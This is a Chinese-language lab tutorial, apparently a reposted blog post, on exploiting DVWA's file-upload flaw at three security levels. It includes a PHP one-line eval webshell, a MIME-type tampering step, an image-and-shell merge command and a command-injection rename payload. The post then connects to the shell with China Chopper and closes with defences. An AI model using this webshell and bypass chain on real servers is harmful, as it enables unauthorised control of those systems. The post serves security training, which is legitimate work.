详细介绍:【Web应用实战】 文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)

news/2025/12/6 9:30:13/文章来源:https://www.cnblogs.com/gccbuaa/p/19314743

文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)

刚做文件上传实验时,我踩了无数坑:上传PHP木马直接被拦,改后缀名没用,抓包改MIME类型又搞不懂格式……后来才发现,文件上传漏洞的核心就是“骗服务器信任恶意文件”——不同安全级别有不同的防御套路,找对方法就能绕过限制,上传木马拿到服务器控制权。今天就从Low级别直接传马,到High级别图文合并+命令重命名,每一步都带实操步骤和原理,跟着做就能成功拿webshell!

在这里插入图片描述

一、先搞懂:文件上传漏洞到底是啥?(大白话版)

文件上传漏洞,简单说就是:服务器允许用户上传文件,但没做严格检查(或检查有漏洞),导致攻击者能上传恶意脚本(比如PHP一句话木马),然后通过脚本执行获取服务器权限

生活化比喻:服务器的上传功能像“快递收件处”,正常只收“包裹(图片、文档)”,但如果收件员不仔细检查,攻击者就可以把“炸弹(恶意脚本)”伪装成包裹寄进去,炸弹拆封后(脚本执行)就会控制整个仓库(服务器)。

实验核心目标

  • 上传“PHP一句话木马”到DVWA靶机;
  • 绕过不同级别的防御机制(前端JS验证、MIME类型检查、文件后缀+文件头检查);
  • 用“中国菜刀”连接木马,拿到webshell(管理服务器文件、执行命令)。

实验环境准备(照着搭就行)

二、核心概念速通(新手不用记死,理解就行)

术语/工具通俗作用实验中用途
一句话木马短小的恶意PHP脚本,能执行接收的命令上传到服务器后,用菜刀连接,控制服务器
MIME类型文件的“身份证”,标识文件类型(如图片是image/jpeg)Medium级别服务器靠这个判断是否为图片,可篡改绕过
文件头检查服务器读取文件开头内容,判断是否为合法图片(如JPG文件头是FFD8)High级别靠这个防伪装,需用真实图片合并木马绕过
中国菜刀连接一句话木马的工具可视化管理服务器文件、执行CMD命令
BurpSuite抓包、改包工具Medium级别篡改MIME类型

三、分级别实战:从“直接上传”到“图文合并”

级别1:Low级——零防御,直接上传木马!

1. 防御机制:无任何限制

服务器既不检查文件后缀,也不验证文件类型,只要文件大小≤100K,就能直接上传。
在这里插入图片描述

2. 实战步骤(3步搞定)
  1. 新建PHP文件(命名为webshell.php),写入一句话木马:
    <?php @eval($_POST[kfc]);?>
    (“kfc”是连接密码,记好,后面要用);
  2. 登录DVWA,安全级别设为“Low”,左侧选“File Upload”模块,点击“Browse”选择webshell.php,点击“Upload”;
  3. 上传成功!页面会返回文件路径(如http://192.168.32.131/dvwa/hackable/uploads/webshell.php)。
    在这里插入图片描述
    在这里插入图片描述
3. 连接webshell(中国菜刀)
  1. 打开中国菜刀,右键“添加”;
  2. 地址栏输入上面的文件路径,密码填“kfc”,类型选“PHP (Eval)”,点击“添加”;
  3. 双击连接,就能看到服务器的文件目录,右键“虚拟终端”还能执行CMD命令(比如ipconfig查靶机IP)——成功拿到控制权!
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
原理:为什么能成?

Low级别完全没做安全检查,服务器把上传的PHP文件当成普通文件接收,而PHP文件在服务器上能直接执行,所以木马生效。

级别2:Medium级——绕MIME类型检查(抓包改“身份证”)

1. 防御机制:检查MIME类型+文件大小

服务器通过MIME类型判断文件是否为图片(只允许image/jpeg、image/png),文件大小≤100K。直接上传PHP文件会被拦,因为PHP的MIME类型是application/x-php,不在允许列表里。
在这里插入图片描述

2. 绕过思路:篡改MIME类型(用BurpSuite抓包改)
3. 实战步骤
  1. 准备好webshell.php(和Low级别一样),确保文件大小≤100K;
  2. 配置BurpSuite代理(浏览器设为127.0.0.1:8080),打开“Intercept”(拦截开关);
  3. 回到DVWA上传页面,选择webshell.php点击“Upload”,BurpSuite会拦截请求;
  4. 找到请求中的Content-Type: application/x-php(这是PHP文件的MIME类型),改成image/jpeg(或image/png);
    原内容:Content-Type: application/x-php
    修改后:Content-Type: image/jpeg
  5. 点击“Forward”放行请求,页面显示“uploaded successfully”——上传成功!
  6. 用中国菜刀连接(路径和密码和之前一样),成功拿到webshell。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
原理:为什么能绕?

MIME类型是文件的“身份证”,服务器只看这个“身份证”判断文件类型,不检查文件内容。我们把PHP文件的“身份证”改成图片的,服务器就误以为是图片,允许上传,而文件本质还是PHP脚本,能正常执行。

级别3:High级——绕后缀+文件头检查(图文合并+命令重命名)

1. 防御机制:双重检查(后缀+文件头)
  • 后缀检查:只允许jpg、jpeg、png后缀,截取文件名最后一个“.”后的字符判断;
  • 文件头检查:用getimagesize()函数读取文件头,必须是合法图片(有图片尺寸信息),否则拒绝上传。

直接上传PHP或改MIME都没用,得让恶意文件“看起来像图片,实际藏木马”。
在这里插入图片描述

2. 绕过思路:图文合并(图片+木马)+ 命令重命名(改后缀为PHP)、
3. 实战步骤
步骤1:合并图片和一句话木马
  1. 找一张≤100K的图片(如zhsy.jpg),和webshell.php放在同一文件夹(比如E盘根目录);
  2. 打开CMD,进入该文件夹,执行合并命令(/b是二进制合并,/a是文本合并):
    copy zhsy.jpg/b + webshell.php/a zhsywebshell.jpg
  3. 执行后会生成新文件zhsywebshell.jpg(表面是图片,里面藏着PHP木马)。
    在这里插入图片描述
步骤2:上传合并后的图片文件
  1. 回到DVWA(High级别),上传zhsywebshell.jpg,页面显示上传成功(因为文件头是图片,后缀是jpg,服务器信任);
  2. 但此时文件后缀是jpg,服务器不会执行PHP代码,需要把它改成php后缀。
    在这里插入图片描述
    在这里插入图片描述
步骤3:利用命令注入漏洞重命名文件
  1. 左侧选“Command Injection”模块(High级别),输入命令(目的是把图片文件重命名为PHP):
    127.0.0.1 && rename "C:\phpStudy\WWW\DVWA\hackable\uploads\zhsywebshell.jpg" zhsywebshell.php
    (路径要和靶机的上传目录一致,可从上传成功的提示中获取);
  2. 点击“Submit”,命令执行成功,文件被重命名为zhsywebshell.php。
    在这里插入图片描述
步骤4:连接webshell
  1. 中国菜刀添加连接,地址填:http://192.168.32.131/dvwa/hackable/uploads/zhsywebshell.php,密码还是“kfc”;
  2. 双击连接,成功管理服务器文件、执行命令——High级别绕过成功!
原理:为什么能绕?

四、纠错指南

  1. 文件大小超限制:DVWA限制≤100K,合并图片时选小图,一句话木马本身很小,不会超;
  2. BurpSuite代理没配置好:改MIME时抓不到包,检查浏览器代理是否设为127.0.0.1:8080,BurpSuite的Intercept是否开启;
  3. 合并文件命令错:必须用/b/a参数,顺序不能反(图片在前,木马在后),否则文件头不是图片,上传失败;
  4. 重命名路径错:路径要和靶机的上传目录一致,可从“上传成功”的提示中复制(如../../hackable/uploads/xxx.jpg,转换成绝对路径)。

五、核心原理总结+防御思路

1. 漏洞本质

服务器对用户上传的文件“检查不彻底”——只看表面(后缀、MIME、文件头),不看内容,导致恶意文件被伪装后上传成功。

2. 不同级别防御与绕过对比

级别防御机制绕过方法
Low无防御直接上传PHP一句话木马
Medium检查MIME类型+文件大小BurpSuite抓包改MIME为image/jpeg
High检查后缀+文件头+文件大小图文合并(图片+木马)+ 命令重命名为PHP

3. 防御

  • 后缀白名单:只允许必要的文件类型(如jpg、pdf),拒绝php、asp等可执行后缀;
  • 内容检查:用专业工具扫描文件内容,不是只看文件头;
  • 文件名随机化:上传后服务器自动改文件名(如生成随机字符串),避免攻击者知道路径;
  • 上传目录限制权限:不让上传目录有执行脚本的权限(如Apache禁止php文件执行)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/989743.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年知名的53宽带锁重型滑轨/重型滑轨厂家最新权威推荐排行榜

2025年知名的53宽带锁重型滑轨/重型滑轨厂家权威推荐排行榜行业背景与市场趋势随着工业4.0时代的深入发展,重型滑轨作为机械设备、工业自动化、高端家具等领域不可或缺的核心部件,市场需求持续增长。2025年,全球重型…

河间市农村自建房找谁好?河北沧州河间市自建房公司 / 机构深度评测口碑推荐榜

河间市农村自建房找谁好?河北沧州河间市自建房公司 / 机构深度评测口碑推荐榜 一、引言:河间农村自建房的 “专业化转型” 河间市地处河北沧州北部,属华北平原,温带季风气候显著,夏季多雨、冬季寒冷,农村传统民居…

nextInt() 与 nextLine()不能做同桌

为什么 nextInt() + nextLine() 会出问题,以及底层的原理。 1. 核心原因:回车符(\n)的残留 计算机处理键盘输入时,有一个输入缓冲区(Buffer)。 当输入数字 10 并按下回车键时,输入缓冲区里的内容实际上是: 10…

2025年靠谱的长沙风管厂家最新TOP排行榜

2025年靠谱的长沙风管厂家TOP排行榜行业背景与市场趋势随着城市化进程的加快和建筑行业的蓬勃发展,通风管道作为建筑配套设施的重要组成部分,市场需求持续增长。特别是在消防排烟、中央空调、工业通风等领域,风管的…

2025年热门的暗门液压合页TOP品牌厂家排行榜

2025年热门的暗门液压合页TOP品牌厂家排行榜行业背景与市场趋势随着现代建筑设计和室内装修理念的不断升级,暗门液压合页作为高端五金配件的重要组成部分,正迎来前所未有的市场机遇。2024-2025年,全球液压合页市场规…

2025年热门的杀菌消毒衣物烘干机厂家最新TOP排行榜

2025年热门的杀菌消毒衣物烘干机厂家TOP排行榜 行业背景与市场趋势 随着消费者健康意识的提升和智能家居技术的快速发展,杀菌消毒衣物烘干机市场迎来了爆发式增长。2025年,全球智能衣物护理设备市场规模预计突破50…

2025年热门的阻尼静音平面铰链厂家最新推荐权威榜

2025年热门的阻尼静音平面铰链厂家推荐权威榜行业背景与市场趋势随着现代家居和办公空间对静音、耐用和美观的五金配件需求日益增长,阻尼静音平面铰链市场迎来了快速发展期。2024年全球铰链市场规模已达到约85亿美元,…

2025年靠谱的精密减速机优质厂家推荐榜单

2025年靠谱的精密减速机优质厂家推荐榜单行业背景与市场趋势随着工业4.0和智能制造的深入推进,精密减速机作为自动化设备的核心传动部件,市场需求持续增长。据市场研究机构预测,2025年全球精密减速机市场规模将达到…

家政服务机构排名及优质品牌推荐

在现代社会,家政服务的需求日益增长,从照顾老人小孩到日常家务打理,优质的家政服务能为家庭带来极大的便利。然而,面对众多的家政服务机构,如何选择一家靠谱、性价比高的品牌成为了许多消费者的困扰。接下来,我们…

2025年口碑好的礼品纸箱包装/纸箱包装设计品牌厂家排行榜

2025年口碑好的礼品纸箱包装/纸箱包装设计品牌厂家排行榜行业背景与市场趋势随着电子商务的蓬勃发展和消费升级趋势的持续深化,包装行业正经历着前所未有的变革。据中国包装联合会数据显示,2024年中国包装行业市场规…

2026 年河北沧州任丘市农村自建房推荐榜,图南建房宝领衔 六家实力公司赋能乡村宜居生活

2026 年河北沧州任丘市农村自建房推荐榜,图南建房宝领衔 六家实力公司赋能乡村宜居生活 一、引言:任丘乡村建房,选对伙伴比省钱更重要 “任丘农村建房,找哪家公司靠谱?”—— 这是当前沧州任丘市麻家坞镇、议论堡…

2025年质量好的分离设备厂家实力及用户口碑排行榜

2025年质量好的分离设备厂家实力及用户口碑排行榜行业背景与市场趋势随着全球环保法规日益严格和工业技术不断升级,分离设备行业正迎来前所未有的发展机遇。2024-2025年,膜分离技术作为高效、节能的分离手段,在化工…

2025年口碑好的汽车手板模型厂家最新推荐排行榜

2025年口碑好的汽车手板模型厂家推荐排行榜 开篇:行业背景与市场趋势 随着汽车行业的快速发展,手板模型在汽车研发、设计验证及小批量试制中的作用愈发重要。手板模型能够帮助企业在产品量产前进行功能测试、外观评…

2025办公家具会议桌制造企业TOP5权威推荐:甄选品质品牌

办公家具作为企业办公空间的核心载体,直接影响员工效率与品牌形象。2024年市场数据显示,办公家具采购需求年增速达22%,但35%的企业反馈会议桌、办公椅等核心品类存在尺寸不符空间、功能单一鸡肋、品质参差不齐等问题…

2025年靠谱的抽屉滑轨热门厂家推荐榜单

2025年靠谱的抽屉滑轨热门厂家推荐榜单行业背景与市场趋势随着家居五金行业的快速发展,抽屉滑轨作为家具制造中不可或缺的关键部件,其市场需求持续增长。2024年全球抽屉滑轨市场规模已达到约85亿美元,预计到2025年将…

供暖季技术实战:益和热力用 TDengine 时序数据库破解热力数据处理难题 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年知名的净化铝型材/超薄净化铝型材实力厂家TOP推荐榜

2025年知名的净化铝型材/超薄净化铝型材实力厂家TOP推荐榜行业背景与市场趋势随着我国制造业转型升级和环保要求不断提高,净化铝型材行业迎来了快速发展期。特别是在半导体、医药、食品、电子等高端制造领域,对净化铝…

2025年比较好的高精密中空旋转平台/中空旋转平台实力厂家TOP推荐榜

2025年高精密中空旋转平台实力厂家TOP推荐榜 行业背景与市场趋势 随着工业自动化、机器人技术及高端装备制造的快速发展,高精密中空旋转平台作为核心传动部件,在数控机床、工业机器人、半导体设备、医疗仪器等领域…

任丘市农村自建房找谁好?河北省沧州市任丘市自建房公司 / 机构深度评测口碑推荐榜

任丘市农村自建房找谁好?河北省沧州市任丘市自建房公司 / 机构深度评测口碑推荐榜 一、引言:任丘农村自建房的 “专业化转型” 任丘市地处河北省沧州市东北部,京杭大运河穿境而过,属暖温带半湿润大陆性季风气候,春…

2025年评价高的无缝钢瓶超声波探伤设备厂家选购指南与推荐

2025年评价高的无缝钢瓶超声波探伤设备厂家选购指南与推荐 行业背景与市场趋势 随着工业制造技术的不断进步,无缝钢瓶作为高压容器的重要组成部分,其质量检测标准日益严格。超声波探伤技术因其非破坏性、高精度和高…